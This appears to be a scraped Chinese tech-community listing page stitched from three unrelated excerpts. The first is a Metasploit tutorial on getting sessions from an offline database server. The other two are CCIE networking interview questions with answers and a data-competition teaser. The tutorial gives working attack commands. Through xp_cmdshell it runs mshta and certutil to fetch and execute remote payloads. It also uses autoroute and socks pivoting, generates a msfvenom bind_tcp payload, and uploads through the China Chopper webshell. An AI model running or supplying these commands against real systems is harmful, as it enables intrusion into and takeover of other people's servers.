首页
学习
活动
专区
工具
TVP
发布
精选内容/技术社群/优惠产品,尽在小程序
立即前往
  • 您找到你想要的搜索结果了吗?
    是的
    没有找到

    利用MSF上线断网主机的思路分享

    EXEC master..xp_cmdshell 'mshta http://192.168.186.3:8080/yGwnzfy4cc.hta' 注意事项: 添加虚拟路由后配置hta_server模块选项时SRVHOST如果还用默认的0.0.0.0则生成URL的IP地址还是VPS的,所以在不出网主机上无法访问和执行,最终导致无法上线。 思路拓展: bind_tcp/reverse_tcp/reverse_tcp_rc4与hta_server的利用方式差不多,都要用到MSF虚拟路由,只是要重新生成/上传载荷文件。这种方式在某些不出网场景下“文件落地”可能是个麻烦事,不过在我们模拟的这个场景下可以利用这台可以出网的Web服务器来进行文件落地。 EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://192.168.186.3/msf.exe C:\ProgramData\msf.exe' 0x04 Socks代理 + Proxychains 我们先用autoroute模块自动添加虚拟路由,再用MSF中的Socks模块开一个Socks代理,设置选项可以不做修改,直接默认执行即可。MSF6已将socks4/5都集成到socks_proxy模块中了。 run post/multi/manage/autoroute bg use auxiliary/server/socks4a exploit Socks4代理开好后找到/etc/proxychains.conf配置文件,在底部填入127.0.0.1和1080端口,然后再用proxychains代理工具执行curl或nc验证下看是否已经代理成功? proxychains curl http://192.168.186.4 proxychains nc -zv 192.168.186.4 1433 确定Socks代理没问题后再使用msfvenom生成一个bind_tcp载荷文件,通过中国菜刀将该文件上传至192.168.186.3的Web服务器中供192.168.186.4断网数据库服务器下载。 msfvenom -p windows/x64/meterpreter/bind_tcp lport=443 -f exe > /var/www/html/bind.exe 另起一个命令终端用proxychains代理工具来启动msfconsole,配置好handler监听模块bind_tcp相关选项执行监听,在中国菜刀中利用xp_cmdshell组件执行bind.exe文件后即可上线。 流量走向:

    03

    3个CCIE出的面试题

    1. 现在的6509及7609,SUP720交换带宽去到720G,是不是可以说7609/6509可以取代一部分GSR的地位?   2. isis level1 的路由表包括哪此路由?有多个level-1-2出口时,其它路由它从哪里学到,如何选路?   3. MPLS L3 ×××,如果我想让两个不同的×××作单向互访,怎做?   4. 跨域的MPLS L3 ×××可以谈谈思路吗?   5. MPLS L3 ×××的一个用户,他有上internet的需求,如何实现?有几种实现方法?特点各是什么?   6. MPLS L3 ×××,如果我想让两个不同的×××作单向互访,怎做?   7. L3 ×××与L2 ×××各自的特点是怎样?你觉得哪一种模式运营起来比较有前景?   8. ISIS与OSPF的区别谈一谈吧,各个方面。   9. 一个骨干网或城域网选ISIS及OSPF基于什么理由?   10. BGP选路原则常用是哪些?在骨干网与城域网间如何搭配一块使用?   11. 如果BGP加上max path,会在哪个BGP选路属性之前应用这个选项?   12. 为什么骨干网pop及城域网出口要作next-hop-self?   13. 两个AS之间,有四台路由器口字型互联,其中一台路由器上从EBGP学到一个网络,又从IBGP学到同一个网络,选路哪个?是哪个属性影响?如果我在IBGP过来那个加上MED小于从EBGP过来的,又选哪个?为什么?   14. local-pre与weight的区别是什么?   15. BGP能不能实现负载均衡?如果可以,有哪些方法?   16. 多个AS之间,可不可以比较MED?如可以,需要前提条件吗?如有,前提条件是什么?   17. MED能不能和AS内的IGP度量值结合起来?如可以,如何做?   18. 割接限定回退的时间还有十分钟,割接还未成功,局方已经催你回退了,但你觉得这些问题你再努力5分钟可能会解决,你的选择是什么?   19. 骨干网的QoS,如何部署?你认为什么骨干网什么情况下是有拥塞发生了?   20. 对于工程及维护来说,你觉得l3网络和l2网络哪个比较好?   21. L3网络与L2网络对环路的处理各是什么样的机制?   22. 一般情况下,L2交换机的生成树有多少数量?   23. 3550的生成树模式是什么?生成树数量是怎样的?   24. 跟据你的经验,GE的端口,当流量达到多少时,你可以认为是有拥塞发生了?2.5G POS口,当流量达到多少时,你可以认为有拥塞? 1. 现在的6509及7609,SUP720交换带宽去到720G,是不是可以说7609/6509可以取代一部分GSR的地位? 题目问取代一部分,而非全部。在LAN环境中取代GSR作为核心的确可以,甚至于在MAN环境中取代GSR做部分出口也是可以的,但是在承载网中,我们都是用GSR来做BGP和×××的RR,我没看到谁用76和65去在承载网中做RR的。因为GSR的包转发率要高于SUPER720的引擎. 2. isis level1 的路由表包括哪此路由?有多个level-1-2出口时,其它路由它从哪里学到,如何选路? L1相当于非骨干的区域的路由,默认的ISIS L2会给L1分一个默认路由,如果存在多ABR点的时候会利用SPF找最近的,当然可能会造成次优化路由 3. MPLS L3 ×××,如果我想让两个不同的×××作单向互访,怎做? 如果是把数据发进去那么修改RT就可以了,但是如果想有TCP连接需求那么需要ACL控制+策略 4. 跨域的MPLS L3 ×××可以谈谈思路吗? 跨区域实际上就是LSP的建立以及×××标签的SWAP 以在连接不同区域的CE所属PE上设置VRF的Target属性相同,这样就可以实现跨域互访。如果有总部,那么设置总部所属PE的VRF的Target属性和分布所属PE的VRF的Target属性正好相反,那么可以实现总部与分部之间的跨域访问,但是不同分部之间无法互访。其实,那几个关于3层MPLS的option中有很不错的解释。 三种方式: 1. 在AS边界的ASBR之间建立逻辑子接口,在每个子接口上为每个×××配置一个VRF,每个VRF和相应的PEER的VRF背靠背.从而传输×××用户的IPV4路由及数据.相当于将对端的ASBR PE的逻辑子接口的VRF作为用户设备CE.VRF和VRF之间通过传统的EBGP来传送. 2. 在ASBR之间通过MP-EBGP为×××-IPV4的路由转发,在这种情况下,内PE用MP-IBGP来分发带标记的×××-IPV4路由到ASBR-PE,然后ASBR-PE通过MP-EBGP分发×××-IPV4路由给它相邻的PEER的ASBR-PE,因此边界的ASBR-PE重写了路由表中的下一跳地址和LABLE. 3. 第三种情况就是ASBR-PE之间只运行EBGP,对于需要

    04

    ☞【案例】盈虚有数《我们可能比你更了解你自己》@EMC杯智慧校园开放数据大赛(最佳数据综合大奖)

    转自:公众号Kesci数据实践,如需转载请申请授权 号外号外号外 EMC杯智慧校园开放数据大赛的终极作品,来自盈虚有数团队的《我们可能比你更了解你自己》,终于要发布啦! 到底是什么样的作品,让在场的多名评委给出了满分的肯定!让现场的观众叹为观止!今天终于要揭开面纱啦! 盈虚有数 李昊 岑凯 田原(执笔) 盈虚有数作品说明 摘要 本次比赛中的Wifi数据是一批从交大不同地点不同时间采集到的数据集,其中甚为详细,我们使用这一批数据,通过分级分析与建模,得到了一些有意思的结果。另外通过建模,我们测试了两种推荐

    05
    领券